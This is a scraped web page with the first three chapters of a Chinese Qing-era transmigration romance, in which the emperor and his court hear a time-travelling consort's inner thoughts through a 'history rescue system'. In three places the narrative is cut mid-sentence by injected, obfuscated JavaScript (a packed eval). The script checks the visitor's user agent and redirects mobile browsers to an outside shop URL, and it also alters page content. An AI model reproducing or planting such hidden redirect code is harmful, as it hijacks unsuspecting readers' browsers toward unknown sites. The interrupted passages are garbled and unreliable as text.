《康熙宠妃心声直播中(清穿)》 1. 补选和历史拯救系统 “啊!”一声尖叫打破齐佳府的平静。 “格格?!”一张清秀的脸从掀开的床幔探进来。 齐满月重重喘了口气,擦了擦额角沁出的薄汗,才恍然,梦里被老头子强逼为妾的场景不过是一场噩梦。 她挥了挥手,声音还有些发虚:“没事儿,珍珠,你去给我倒杯水。” “哎!”珍珠轻快应下,转身离去。 齐满月将脚放在珍珠刚刚躺着的脚踏上,环顾这间不大的卧房,再一次意识到,自己早已不是那个生活在二十一世纪在病床上挣扎到二十一岁的齐满月,而是镶红旗齐佳府的大格格齐佳妞妞。 “妞妞!?”杂乱带着慌张的脚步从远而近,她的母亲那拉氏身着素色旗袍匆匆而至,一把将她揽入怀中:“额娘的妞妞莫怕,额娘在呢。” 透过妇人披散的发丝,齐满月看到了门外阿玛齐佳布色赫。 此时他满脸着急,却碍于闺房规矩,只能在门外徘徊,不敢擅入。 “我没事儿额娘,就是做了个噩梦。”齐满月拍着妇人的后背,对门外的阿玛展颜一笑。 那拉氏见女儿神色平静,才松了口气,转头瞪了布色赫一眼,手却依旧摩挲着齐满月的后背:“都怪你阿玛!” 布色赫尴尬地摸着鼻尖,眼中涌上几分悔意,确实怪他。当日他为了炫耀,带着女儿去见友人,竟被旗主罗科铎撞见。 当日的齐满月虽只有十三岁,却已见风华,罗科铎见后,竟然暗示他将女儿送入他府。 而他不过是有点微末爵位,身无实职,不过比寻常旗人略好一些,纵有护女之心,可奈何不了高高在上的多罗郡王。 “阿玛,你身体才将将好些,不若进来躲躲夜间寒风。”齐满月没注意到他的懊悔,带着担忧劝道。 “如今你大了,阿玛怎好进你闺房。放心吧,阿玛硬朗着呢。”布色赫看着女儿,眼中柔情都要溢出来了,这可是他和夫人的老来得子,也是他们唯一还活着的孩子,他又怎能不疼宠。 想到这里布色赫又想去书房,再写几首《贺娇女撂牌子》的诗了。 最终还是那拉氏开了口,正好布色赫起了诗意,也便顺势离开。 见他离开那拉氏搂着女儿躺回床上:“今晚额娘陪你睡。” 熟悉的姿势和节奏,如同幼年无数次的哄睡,让齐满月的眼角微微泛红。 她死后,重生在了那拉氏的肚子里,失去了前世的记忆,如同这个时代每个八旗女孩儿一样长大,直到去年九月,她意外摔了一跤,才想起一切。 “穆丹别看他只是一个普通侍卫,可他性格温和,虽无大身家,也无父母双亲,可他是皇上亲掌旗主的正白旗佟佳一族之人,即便是罗科铎也不得顾虑一二。” “你阿玛已经和他谈妥了,按例,咱们闲散旗人家的女孩儿,初选就会被筛下来。后日他会安排人等着,只待你一回来,立刻上门提亲。” 说着那拉氏再次拍了拍女儿的后背:“要不是罗科铎的儿子幼子及幼女即将定亲,他又要脸,不想落一个逼旗下嫡女为妾的恶名,也不会准你阿玛借病推脱数次选秀,生生把你拖到十六……” 后面的话她没说透,但齐满月心如明镜,布色赫本打算康熙十九年送自己选秀,穆丹也早已备好提亲的事,不曾想十九年大选只召权贵之女,罗科铎更是只道她才十六,硬生生将她超龄补选申请一并驳回。 要不是今年皇上突然下令增加补选,且明旨涵盖八旗所有旗人,罗科铎怕是等着她超龄,逼她为妾后纳入府中。 “穆丹无双亲,又有一门显贵亲眷,你日子应当不会太差……当年希望你招赘,谁曾想世事难料……” 额娘的话轻轻传入耳中,齐满月扫向不远处的蓝布袍和那上面一对小珍珠耳坠,无声地埋入那拉氏怀里。 “妞妞,该起了。”不过丑时刚过,那拉氏就将女儿叫醒。 齐满月刚打了个哈欠就被那拉氏轻轻拍了下,嗔怪地看了她一眼后,那拉氏将珍珠耳坠给她戴上,又将一头秀发编成一根辫子系上红绳。 布色赫早已等候在门外,见女儿出来,他立刻露出一抹宠溺的笑:“我家妞妞果真好看。” 那拉氏嗔怪地看了丈夫一眼,才拉着女儿的手,殷殷切切地叮嘱了一路,将女儿小心送上骡车。 马车外写着秀女身份信息的木牌伴随着哒哒的马蹄声,有节奏地离开巡铺厅胡同,走向神武门。 今日是选秀第三日,正白旗的秀女们堵在神武门门洞处。 作为镶红旗里的满旗,齐满月坐的骡车一路来到远离神武门的一处,这里虽偏僻,却也是镶红旗最靠前的位置。 时间一点点过去,天蒙蒙乍亮时,珍珠悄悄从车窗外递进来一块肉干:“格格,老爷让给您的。” 齐满月接过不过小拇指粗细的肉干,小心放进嘴里磨着。 她可不敢真的吃多少,万一面圣时出了纰漏,那可是会牵连到阿玛的。 等嬷嬷敲了车门,她小心掀开车帘走下马车。 “后面的路要自己走了,别怕,有阿玛在。”布色赫小心摸着女儿的大辫子,重重吐出一口气。 齐满月侧脸看向即将走过去的神武门,在镶红旗和正白旗秀女之间,是一块宽阔的地方,可镶红旗的骡车却没有一辆敢靠前。 这就是规矩,即便是今日皇帝看的是下五旗的两旗,她们也不能靠近神武门,那里是上三旗的地方。 这片空地就如同天堑,将上三旗和下五旗分割得明明白白。 齐满月深吸了口气,对着阿玛笑了笑,才迈起脚一点点靠近神武门,然后随着户部官员和太监的指引,一点点走进神武门。 布色赫就这样看着女儿的身影融入那青蓝色的海洋中。 “秀女入宫了吗?”康熙揉了揉眉心,抬眼看向窗外,此时天还未亮,却能依稀看出一点晨曦的白光在天边冒了个头。 “回万岁爷,已经辰时了,秀女估计已经过了顺贞门。”梁九功给康熙重新倒了一杯水,恭敬回道。 康熙若有所思地点了点头:“走吧。” 说着他抬脚就往殿外走,梁九功见状赶忙让小太监抱着斗篷跟上,等追上康熙后,小心给他披上厚实的斗篷。 一路上,康熙看着稍见春色的皇宫,思绪却转到了康熙二十二年。 那是九月的一天,他脑海中突然冒出一个声音:“历史拯救系统003号已激活,拯救员已苏醒,寻找执行者中……” “谁!”康熙朱笔一顿,厉声斥责环顾四周。 “万岁爷?”梁九功被他吓了一跳。 康熙紧皱眉头看了他一眼:“你没听到?” 梁九功脸色有些发白,连连摇头:“奴才……什么都没听到。” “执行者筛选……已选中一号执行者康熙,选中理由:身为帝王拥有最大执行能力。” 耳边的声音还在继续,康熙眼眸一瞬间冷厉,他快速环顾四周,发现其他人没有丝毫异样后,才挥手让人退下。 “执行者?”康熙指尖在桌案上敲了敲,“你是什么东西?” “执行者筛选中……” “执行者已选中,请四位执行者协助拯救员完成历史拯救,任务达成,系统可完成执行者一个愿望。” 声音并没有搭理他,反而继续说道:“执行者距离拯救员过远,请尽快找到拯救员。” 不等康熙继续反应,耳边突然响起刺耳的警报:“警报!为防止重蹈丧权辱国百年屈辱路线,请尽快找到拯救员。” “谁是拯救员?”康熙被这声音吵得有些头痛,忍不住按了按额角,开口问道。 警报声顿时消失,许久后才恢复了最初的平稳声调:“系统判定中……系统调整中……拯救员齐佳妞妞已觉醒,年十六,距离约四里。” 康熙无奈地叹了口气:“齐佳氏作为满洲八大姓之一,人口虽然不如一些小姓多,可叫妞妞的不说有百八十个,三四十个总有的,四里的范围几乎将整个内城囊括, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543742|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朕从哪里找?” “请执行者尽快执行。”系统并没回他。 康熙此时也反应过来这个声音并不像人,声音死板固执,更带着墙角自鸣钟般的机械感。 “拯救员十六还是齐佳妞妞……”他沉吟了片刻才开口,“朕如果开补选,是不是能够找到她?” “系统判定中……开启选秀,计划可行,补选时间需定在康熙二十一年四月前,如超出时间拯救员或会成为超龄秀女,危险等级上升。” “危险?”康熙一愣,眼眸微微眯了起来,他对这个自称系统的天音所说的危险还挺有兴趣。 “系统警告,拯救员来自于三百四十五年后,那是一个自由平等的时代,建议执行者给予拯救员应有的自由。” “未来?自由?”康熙嘴角扯起一抹冷笑,一个来自未来的人,还是一个女人,他不放在自己眼皮底下,难不成让她满世界乱跑? 没有在意系统的提醒,康熙想到系统说的一共四个执行者,指尖不住摩挲,身为帝王的掌控欲让他无法忽视那三个执行者的身份…… “补选?”孝庄看着自己这个孙儿,眼眸不易察觉的一闪,“怎么突然补选,明年不就是大选年了?” “三藩已平,孙儿打算过段时间为后宫妃嫔们晋一晋位分,正好八旗内多年不曾普选,干脆借此选些秀女入宫,也给宗室里的俊秀们择一二个淑女。” 孝庄若有所思地点了点头,突然开口:“不是因为执行者?” 康熙难得的呆了一瞬,强行压下心绪后才说道:“祖母……也听到了?” 孝庄点了点头:“我就知道,那人一定是你,当日我听到那天音说补选四号读者孝庄(太皇太后),选中理由:后宫最大权势者,对康熙具有一定影响力,或许会阻隔执行,建议选中。” “我就想到身为帝王的你一定会是第一个执行者。” 康熙的注意力却不在这里,而是紧皱眉头问道:“孝庄?是您的……” “谥号,我不在意。”孝庄端起茶杯饮了一口,“别说,我挺喜欢这个谥号的。” 她抬手打断了康熙未说出口的话:“如今你需要注意的是另外两个执行者,要尽快找到对方的身份。” “祖母,既然孙儿被选中是因为孙儿是皇帝,您被选中是会影响孙儿,那其中一个有没有可能是太子?”康熙顿了顿,声音中有些迟疑,“可……为什么会有第四个人?” 其实他心中隐约已经有了一点猜测,只是那猜测实在让他不敢深思。 孝庄自然也能猜出一二,她无声叹了口气拍了拍康熙的肩膀:“等拯救者入宫,一切便知晓了。” 听着祖母和自己不约而同都选择让拯救者入宫,康熙脸上神色不由松了几分。 “只是不知道该怎么找到那个拯救者,齐佳妞妞……看来这次重点在齐佳氏上。” “等见了人再说吧,既然是来自后世的人,想来会和咱们有些不同。” 听到孝庄的话,康熙点了点头,两人又商议了后续的事情后,才将此事暂且放下。 毓庆宫里太子正端坐在书桌后看着手中的书,脑海里却闪过今日听到的天音:“执行者……我是二号,一号是汗阿玛吗?那谁是三号和四号?” 想到天音里的那句“补选三号读者胤礽(太子),选中理由:原定下一代帝王,因历史线变更,继位可能性增加。”他只觉得心下咯噔一下。 “增加……为什么不是减少?我……不会继位?”越想八岁的胤礽越慌,本能地想要去乾清宫找汗阿玛,只是那增加二字萦绕心间,让他一时间竟不敢动弹。 与此同时的承乾宫里,年仅四岁的胤禛茫然地听着天音留下一句:“已选二号读者胤禛(未来雍正帝),选中理由:原路线下一代帝王,可持续维护修改后秩序,避免重复历史惨剧。” 他听得半懂不懂,却在看见担忧地望着自己的奶嬷嬷后,想了想抱起自己的小狗福子,哒哒哒往承乾宫主殿跑去:“额娘!” 2. 心声直播启动中…… 细碎的脚…… 细碎的脚步声被压到极致,胸口挂着的木牌轻轻荡起又轻轻落下,却几乎没发出一点声音,齐满月感受着脚下传来的阵阵凉意,缓缓调整着呼吸,和周围一样穿着素色旗袍的秀女静悄悄地穿过神武门来到顺贞门内的空地上。 这里放了一些绣墩,却只有寥寥几个秀女忐忑地坐在绣墩上,僵直着后背,偷偷打量着后来者,在看到后来的秀女没有一个选择坐下后,那几个坐着的秀女纤细的身躯越发僵硬。 齐满月的视力还算不错,依稀能看到那几个秀女身上的牌子,心下不由暗叹:“不愧是正白旗大姓秀女,厉害啊~” 心下想着,她却顺着太监的指引站到了镶红旗的位置上,顶着正白旗秀女们的视线,她才真切地感受到周围的肃穆,下意识握了握手。 感受着手心里的东西形状,齐满月不由心下一惊,再次握手确认了下,额头顿时沁出些许汗来。 她竟然将珍珠给的肉干带了进来!! 想到这里,齐满月咽了咽唾沫,小心地四下打量了一圈,打算找个机会将肉干藏到身上或者塞进嘴里,反正选秀不需要说话。 可四周实在安静,一直到她这一支队伍被带到御花园都不曾找到机会。 御花园里,佟佳氏用余光扫了皇帝和另一侧太皇太后一眼,思绪却回到了九个月前的那日。 “额娘!”小小的胤禛抱着小狗急匆匆地跑进主殿,将正处理宫物的佟佳氏吓了一跳。 “怎么了胤禛?”她快速走到胤禛面前,将他小心搂在怀里,“怎么跑那么快?” 说罢,她凤眸冷冷扫过后面追上来的奶嬷嬷:“你们怎么看阿哥的!?” 奶嬷嬷吓得直接跪在地上请罪。 胤禛看了看奶嬷嬷,又看了看佟佳氏,小心扯了扯她的衣角:“额娘,刚刚有怪声音说胤禛是执……执行者。” 佟佳氏愣了下,先是摸了摸胤禛的额头,在看到他小脸上带着几分忐忑,才皱眉让人退下。 看殿里只剩母子二人,佟佳氏才将胤禛抱在怀里轻声哄道:“额娘没听明白,胤禛可以再说一遍吗?” 胤禛如今已有四岁,说话尚且利索,便将自己听到的话简单描述了一遍。 佟佳氏突然将胤禛紧紧搂在怀里,她虽然不确定天音是真是假,但如果是真的,那面前这个孩子需要付出多少努力,经历了多少坎坷才成了所谓的雍正帝。 她不知道未来,但知道表哥,那样一个天生的帝王,放弃了多年培养的太子,放弃了长子,偏选中了她这个憨傻实在的孩子,那定然是一场惊心动魄的皇位之争。 想到这里,佟佳氏越发心疼胤禛,心里不住祈祷希望天音不过是孩童的一场梦。 可偏偏,一纸补选圣旨打破了她的念头。 如今看着多年不曾看选秀的太皇太后出来,她更确定了天音真假,也对那四个执行者身份有了肯定。 除掉皇帝、胤禛,整个后宫可选择的无非就那几个,如今确定了太皇太后,剩下一个要么是太子,要么是下任帝王生母。 但她觉得那人一定是太子,没什么特别的缘由,真要说的话也不过是女子的一种感觉。 “十几秒一组,还不准许抬头,皇帝看个啥?看头皮吗?”一个女声突然传入孝庄和康熙的耳中。 他们两人翻看秀女名册的动作一僵,相视看了一眼。 原来拯救者是这样出现的,难怪系统没有说过该如何确定拯救者。 想到这里,祖孙二人默契地将册子翻到下一页,四个叫齐佳妞妞的名字就这样出现在他们面前。 康熙扫了一眼,指尖在布色赫的名字上停留了片刻。 孝庄看了眼,抬头看向秀女的地方,无声地对康熙点了点头,她也认为布色赫的女儿更有可能,巡捕厅胡同距离乾清宫也确实不超过4里范围,而且布色赫的女儿今年刚好十七。 “皇帝是真的一点不带看的啊,果然选秀不是选美,是选家世。”女声不住地传入二人耳中,康熙忍不住皱了皱眉,下意识在心里反驳,“身为帝王自然要平衡朝臣,选些权贵之女本就是常事。” “幸好我爹只有微末爵位,我是一定会被撂牌子的,哎嘿嘿~” 一个哎嘿嘿听得康熙忍不住皱眉,惹得旁边的佟佳氏看了他好几眼,后来实在没忍住:“表哥?” “没事儿。”康熙回过神来摇了摇头。 佟佳氏却心下一动,隐约猜出胤禛口中的拯救者应该就在剩下这批秀女中了。 “妞妞妞妞,怎么都叫妞妞?我这一组五个都是妞妞,下一组四个都是妞妞,再下一组三个都是妞妞,捅了妞妞窝了,幸好这一组就我一个齐佳妞妞,不然都不知道喊谁。” 这话一出,孝庄眼眸中闪过一丝笑意,指尖直接在布色赫的名字上点了点。 确定了拯救者的身份,康熙也忍不住放下心来,眉眼中也因这胆大的心声带上了几分笑意。 “康熙今年二十七还是二十八?他几岁登基来着?不知道长得好不好看,毕竟千古一帝应该不丑吧,不过老十三根据画像绘的年轻版还挺帅的,不知道长得像爹还是妈,估计是妈吧……康熙可是号称麻爹……” 康熙本来还因为齐佳妞妞心声里说自己长得好看而越发深邃的笑意,在最后几个字出现后僵了一瞬。 孝庄难掩笑意地在布色赫之女齐佳妞妞的绿头牌上点了点,旁边的太监顿了下赶忙将齐佳妞妞的牌子拿出放到一侧。 旁边的宫女们见皇帝竟然选择一个下五旗闲散旗人的女儿,心下皆涌上好奇,只是碍于宫规不敢动弹,直到齐满月这组人离开抬头的那一瞬,看到她相貌的人才放下满心揣测。 这般容貌不怪皇帝会留下。 佟佳氏喝茶的动作一顿,她抬眸看了眼康熙,心下的猜测越发肯定,可想到那齐佳妞妞的容貌,犹豫了片刻后还是轻声说道:“表哥,齐佳氏身份……实在低了些,又那样的容貌……不如再多选几个?” 她话并未说完,可康熙却明白她的意思,知道佟佳氏是担心自己这次选秀只选齐佳氏一人,齐佳氏容貌又盛,自己会传出好色之名,忍不住握了握她的手:“朕心里有数。” 佟佳氏见状轻应了声,垂眸看着两人相握的手,眼角映出无限情谊。 “撂牌子还是留牌子竟然不直接说吗?我应该不会入宫吧!?阿玛和额娘不是说闲散旗人基本上不会入宫,应该不会入宫吧,千万不要,也别指婚啊啊啊,我的穆丹小哥哥,我还想嫁给他呢!” 康熙刚刚还柔下来的眼眸在听到齐满月这道心声后脸色顿时难看了一瞬。 这突然的变脸将佟佳氏吓了一跳,她下意识看了眼已经离去的齐佳氏,心下越发奇怪皇帝表哥是如何确认那人就是所谓的拯救者,表哥为什么又突然变脸,只是…… 她抬眼看了眼皇帝,眉眼中的情谊不曾消散,火热的心却冷了下去。 不论是为了胤禛,还是为了佟佳一族,她都不能让皇帝知道她知晓这件事。 想到这里,佟佳氏暗下决心等回到承乾宫一定要再叮嘱胤禛几句,让他千万不要告诉任何人自己也知道这件事。 孝庄看着两人还握着的手,无声叹了口气,佟佳氏是个好的,性格好,人品贵重,又一颗心都在皇帝身上,只可惜她出身佟佳氏…… 齐满月离开神武门的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543743|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳几乎已经走到了头顶,心中默默算了下,这个时间估计已经十一点了。 “妞妞!”布色赫见女儿出来,快步走上前,“快到车上休息下。” 珍珠和嬷嬷赶忙扶着已经快走不动路的齐满月上了骡车。 “好妞妞,且眯一会儿,阿玛让车夫慢一些。”布色赫松了口气骑上马,在前引路。 骡车晃晃悠悠,让从凌晨三点就起床到现在一路高度紧张都没休息过的齐满月松下心神,直接睡了过去。 等她醒来时,太阳已经下山,那拉氏眼角微红地坐在她的床前。 “额娘?”齐满月一愣,下意识以为那拉氏是因为自己睡得太多而担心造成的,“额娘,我没事儿。” “额娘的妞妞!”那拉氏呜咽着将女儿紧紧搂在怀里。 这动作让齐满月一愣,她下意识抬手回抱母亲,袖口里的肉干渣悄然滑到地上:“额娘……?怎么了?难不成佟佳穆丹悔婚了?” 不等那拉氏开口,她赶忙又说道:“悔婚就悔婚,女儿正好招赘,不是说那罗科铎今天身体不大好嘛,万一今年就……唔……” 齐满月没说完的话被那拉氏一把捂住,那拉氏微颤着手摩挲着她的脸颊:“刚刚佐领传话,你被留牌子了。” “啥!?”齐满月僵在她怀里,一脸不可思议,“那岂不是……?” “嗯,要么你会入宫,要么被指给宗室。”那拉氏眼角又红了几分,“咱这样的家庭,真入宫或者入宗室,你岂不是要被欺负死。” “胡说!”布色赫在外不自觉反驳道,却在意识到自己声音太大,又赶忙压低了声音,“咱女儿多乖,不会这样的,万一复选撂牌子也不是不可能。” 他声音中也带着些许心虚,这心虚被那拉氏捕捉,她看了看女儿,又看了看外面的丈夫,许久之后才叹了口气:“如今,只看天意吧……” “穆丹那边……”齐满月微微蹙眉,有些犹豫。 “没事儿,那是个好孩子,婚事不成也怨不得谁,倒是罗科铎那边算是躲开了。”那拉氏话音一落,又忍不住看向丈夫,“那罗科铎不会上折子让女儿入府吧?” 布色赫摇了摇头:“他如今确实身体不大好,家里儿女多如今也闹闹纷纷,估计顾不得这些,要不然今年大选他也不会就这样放过咱们。” 听到这话,那拉氏松了口气:“躲开了一劫也就算好的了,其他的再说吧。” 齐佳府里实在称不上开心,乾清宫里也称不上太温馨。 “为什么今日才来找朕?”看着自己一向看重的太子,康熙忍不住皱眉问道。 胤礽咽了咽唾沫,偷看了一眼康熙,见他脸上并没有太多怒意,过往汗阿玛对他的宠爱再次涌上心头,让他下意识用过去那样的语气说道:“儿子怕是做梦。” “那今日怎么又来了?”康熙看太子这幅娇态,忍不住软了口气。 胤礽小心挪到康熙跟前,才低声说道:“儿子听说汗阿玛给一个闲散旗人的女儿留了牌子,所以……” “所以觉得天音是真的?” “嗯……” 康熙看着胤礽的头顶,无声叹了口气,手掌轻轻放在他的头顶上:“朕知道了。” 胤礽没想到康熙会这样平静,张了张嘴却一时间不知道该说什么。 这幅神情被康熙收入眼中,却没说什么,只指着桌上的一个折子,对着胤礽轻声指导着。 太子伴驾的消息传入后宫,佟佳氏挥退了小太监,看向一旁正摆弄着一套泥戏人的胤禛,那是她娘家送进来专门给他玩的。 “到底发生了什么事呢?”佟佳氏看着胤禛忍不住轻喃道。 3. 入宫了 “小主,该去请安了。”外间的云秀轻声喊着她,齐满月睁开眼,一阵恍然地看着床幔,她现在不在齐佳府了,而是在永寿宫东配殿,这里只有她和那两个樟木箱子是从齐佳府出来的。 想到这里,齐满月忍不住捏了捏眉心,她是怎么都没想到自己会被留牌子。 那日复选结束,母亲还有些高兴地说,佟佳穆丹求了主家,看能不能递个折子乞得天恩指婚,可不曾想不过次日,旨意就到了齐佳府。 封贵人,入永寿宫,赐香囊、如意、缎匹、金银若干,一切快得就像是按了加速键。 因为身份不高,她无法带着贴身丫环和嬷嬷进宫,只能带着两个樟木箱子就这样住进了永寿宫。 想到这里,齐满月忍不住叹了口气,她记忆里康熙并没有一个姓齐佳的妃嫔,不过也有可能那位妃嫔位分低没被记录,可转念一想贵人也不算很低的位分了。 “小主?”云秀正给她穿好衣服,见她发着呆一动不动,赶忙轻声提醒。 齐满月回过神来坐到了梳妆台前,看着云秀麻利地给她梳了个小两把头,又在她稀稀拉拉的首饰里翻出一根全新的素金小簪,这是进宫前布色赫夫妇专门给她重新打的首饰,除了簪子还有一些其他零碎。 齐满月选了个同样素金的耳坠子,又戴了个同款镯子,拒绝了戒指后,才站起身来。 云秀看了看天色,又给她披了颜色素净的一口钟才扶着她往外走。 “没人性啊……才五点多!”天还未亮,小太监打着灯笼走在前面,按照她的位分,从今天开始每天都要四点多起床收拾,五点不到就要去请安,想到这里齐满月眼前一黑只觉得前途渺茫。 身为贵人,齐满月只能和云秀沿着墙根一点点往前走,灯笼光昏昏沉沉打在地面上,让她有种被催眠的感觉,忍不住打了个哈欠。 “是端嫔娘娘。”云秀拉了拉她的衣角,低声提醒道。 齐满月赶忙又往后退了退,屈膝跪下。 “你是哪个宫的?”没听到叫起的声音,却听到一个温柔女声的轻问。 “回娘娘,奴才永寿宫贵人齐佳氏。”齐满月垂首应道。 一阵香风袭来,齐满月感觉自己的下巴被纤细的手指轻轻抬起,一个灯笼被小太监提到她的脸侧。 “好容貌。”端嫔轻笑一声后,才说道,“行了起来吧。” 语罢,她带着宫人离开。 齐满月在云秀的搀扶下站起身,揉了揉膝盖继续向前。 一路上不记得磕了多少头,齐满月终于走到了请安的宫殿。 按照规矩她站到了众贵人之后,顶着几十个答应、常在或艳羡或好奇或忮忌的眼神,等待着管事太监的唱名。 不知过了多久时间,她的双腿都有些发颤时,才唱到她的名字。 进殿,垂眸低头小碎步,双膝下跪口呼奴才,这一套下来齐满月只觉得满心烦躁:“果然后宫没人性。” 心里的吐槽未曾被人听见,端坐上方妃嫔的话却传入耳中。 “这位就是齐佳贵人?抬起头来。” 齐满月不知道开口的是谁,却也只能乖顺抬头,眼睛依旧不能直视前方。 “果真好容貌,难怪……” 开口的是左侧第三位妃嫔,长得极为明艳,凤眼微挑更显几分凌厉。 “倒比我宫里的卫氏还要美上几分。”左侧第二位面容极为雍容的妃嫔笑着说道。 她这话一开口,齐满月瞬间将她们和历史上的人物匹配上。 第一个说话的是后世某部电视剧里的长期女配,专门陪康熙微服私访的宜妃,第二个自然就是大皇子之母惠妃。 “这容貌之盛,怕咱们六宫的女子都要被比成烧糊卷子了。”德妃一身书卷气一看就是个温和内敛之人,连调侃都说得如春风拂过。 如今四妃中德妃年纪最小,与宜妃关系不错,被她调侃宜妃也并不生气,反倒是说道:“你认烧糊卷子,本宫可不认,便是老了本宫也是风华绝代。” 眼瞅着妃嫔们调侃个没完,反倒把请安的齐满月撂在原地,佟佳不由叹了口气。自从猜到齐满月就是拯救者,她就一直在想该如何对待对方。 此时,她看着齐满月眼角拼命支撑自己不失礼的水意,心下不由一软,算了,就当给胤禛帮忙了,毕竟他还有个执行者的名号。 “行了,齐佳氏刚入宫,你们别把人吓到。”皇贵妃一开口,其他人立刻噤声。 眼瞅着时间不早了,皇贵妃快速让小嫔妃们请安后,就带着众嫔妃往慈宁宫去。 乾清宫里,康熙沉吟片刻后对梁九功说道:“永寿宫的人盯紧些。” 梁九功不明白康熙为什么紧盯着新入宫的小妃嫔,也不敢问,只恭敬应下。 挥手让宫人退下后,康熙看向虚空,脑海里闪过太子胤礽找他的情景。 许久后,他轻喃道:“系统为什么你不能让朕一个人听到齐佳氏的心声,或者没有办法控制让其他人只能听到一部分吗?” 他本以为系统不会回答他,却没想到脑海里闪过一道声音:“拯救员是一切的核心,为防止个别执行者出于私心隐瞒或拒绝执行任务,关于拯救员的心声将无法被屏蔽、修改或强制。” 康熙没想到系统会回复自己,眼中不由闪过一丝怒意,这种无法掌控的存在,让他极为不舒服,可他却对这样的存在没有任何办法,毕竟佛寺、道观、喇嘛他都暗自试探过。 大殿里安静了许久,梁九功才听到康熙传来的命令:“召永寿宫齐佳贵人伴驾。” “是!”梁九功有些意外康熙的命令,却也赶紧安排人去传旨。 与此同时慈宁宫里的孝庄也在和苏麻喇姑说着齐满月。 “苏沫儿,你说拯救员对我大清真的是福祉吗?”孝庄视线定格在虚空,语气轻巧得仿佛是自言自语。 苏麻喇姑一愣,才双手合十,微微颔首:“主子,为什么不把她当作是佛祖的恩赐?” 孝庄收回视线,无奈地叹了口气:“你是不知道,那齐佳氏长了一副何等容貌,我怕……” 她怕什么苏麻喇姑是知道的,毕竟从努尔哈赤的东哥到皇太极的宸妃,再到先帝的董鄂氏,无一不说明爱新觉罗氏出情种。 可照她看来,东哥对努尔哈赤未必有那么重要,皇太极对宸妃倒称得上情种,至于先帝……若不是为了和主子作对又怎会有董鄂氏的存在,而且那董鄂氏的死未尝不是因先帝而起。 心下念头百转,可面上苏麻喇姑还是温和地跪在地上,轻抚着孝庄的手:“主子,皇帝是您亲手教导的,您应该也清楚他并非纵欲之人,即便入后宫一月也不过三四次罢了。” “他是天生的帝王,不会做出失去理智的事情。” “希望吧……”孝庄揉了揉眉心叹了口气,“那孩子既然入宫,便是为了大清,你也要好好照看着,莫要让一些不该出现的手段出现在她身上,我大清国运绝不准许任何人破坏!” 看着孝庄眼中闪过的一丝狠厉,苏麻喇姑面色如常地颔首:“您放心,有奴婢呢。” 说话间的工夫,小宫女已经进来传话,后宫嫔妃们来请安了。 请安流程如同在承乾宫并无太大差别,只是齐满月的位置更靠后了许多,但并不影响孝庄听到她叽叽喳喳的心声。 “哇!孝庄啊!!怎么办怎么办,我好像不能抬头看,而且这个地方……也看不清吧?” “但是那是孝庄哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543744|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !大清定海神针!活的传奇人物!” 孝庄端茶的手微微一顿,眼神轻轻扫过齐满月所在的地方,不等众嫔妃察觉便开口说道:“行了,都退下吧。” 以皇贵妃为首的众嫔妃开始缓缓退出大殿,就听上位突然说道:“齐佳贵人且留一留。” 满后宫也就一个齐佳氏,众人便齐齐地看向角落里的齐满月。 “啊啊啊啊,我的偶像之一!注意到我了吗?!我是不是穿得有些失礼?衣服没皱吧?走了那么远的路,妆没花吧?啊啊啊好激动!” 孝庄难掩眉眼中的笑意,直到众妃嫔离开后才笑着说道:“齐佳贵人,你入宫可还习惯?” “回太皇太后,奴婢很习惯。” “我习惯个屁!小贵人见人就跪,膝盖都要肿了!” 看着她面上老实乖巧,内心却肆意活泼,这心口不一的模样更让孝庄忍不住含笑瞥了眼苏麻喇姑。 这副模样让苏麻喇姑忍不住一愣,她可是许久不曾看主子如此开心了。 苏麻喇姑何等人精,十三岁随孝庄嫁入后金,直到如今什么人物不曾见过,即便齐满月掩饰得再好,在她面前也不过是个稚童。 不过看到主子开心,她对这个本性一看就不是乖顺的小贵人也不觉得有什么不好,毕竟对方一则能让主子开心,二则是至关重要的救命恩人。 “咱们这位齐佳贵人倒是个有福的,才入宫第一日就让太皇太后如此关照,竟免了她回承乾宫的规矩,让她直接回了永寿宫。”僖嫔撇了撇嘴,端起桌上的茶喝了一口又嫌弃地放到一边,端起奶茶痛快饮了一口。 安嫔白了她一眼:“皇上都说了,齐佳氏身体娇弱才让独居永寿宫,今日我看她请安时脸色实在苍白,或许太皇太后便是因此才下令的,这可是太皇太后疼惜晚辈之心。” 僖嫔虽出身赫舍里氏,却比不得储秀宫那位元后亲妹尊贵,她不过是沾了个姓氏,但也因此在后宫受到了些许厚待,性子一向心直口快,此时察觉出自己话中错漏,又听安嫔帮她开脱,不免递了一个感激的眼神过去。 